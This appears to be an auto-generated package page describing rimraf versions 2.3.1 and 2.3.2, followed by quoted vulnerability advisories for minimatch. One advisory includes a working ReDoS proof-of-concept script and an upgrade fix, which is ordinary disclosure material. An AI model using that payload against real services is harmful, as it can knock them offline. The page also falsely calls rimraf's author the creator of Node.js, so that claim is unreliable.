Rimraf is a crucial Node.js utility designed for recursively deleting files and directories, akin to the rm -rf command in Unix-like systems. Versions 2.3.1 and 2.3.2 share the same core functionality: a deep deletion module vital for cleaning up temporary files, build artifacts, or unwanted directories within Node.js projects. Both versions rely on the glob dependency, specifically version 4.4.2 or higher, for efficiently matching file and directory patterns, enabling targeted deletion operations. This dependency reflects a commitment to leveraging robust globbing capabilities for precise file selection.
The key difference lies in their release dates. Version 2.3.1 was released on March 5th, 2015, while version 2.3.2 followed shortly after on March 10th, 2015. This suggests that version 2.3.2 likely includes bug fixes, performance improvements, or minor adjustments made after the initial 2.3.1 release. Although the specific changes aren't detailed in the provided data, the rapid succession suggests a focused effort to refine the library. For developers using Rimraf, opting for version 2.3.2 ensures they're utilizing the most recent iteration with potential enhancements and resolutions of any issues found in the preceding version. Given the utility's role in file system manipulation, such refinements are important for stability and reliability. Both versions are distributed under the MIT license, providing developers with the freedom to use, modify, and distribute the library as needed within their projects and the author is still the creator of NodeJS.
All the vulnerabilities related to the version 2.3.2 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.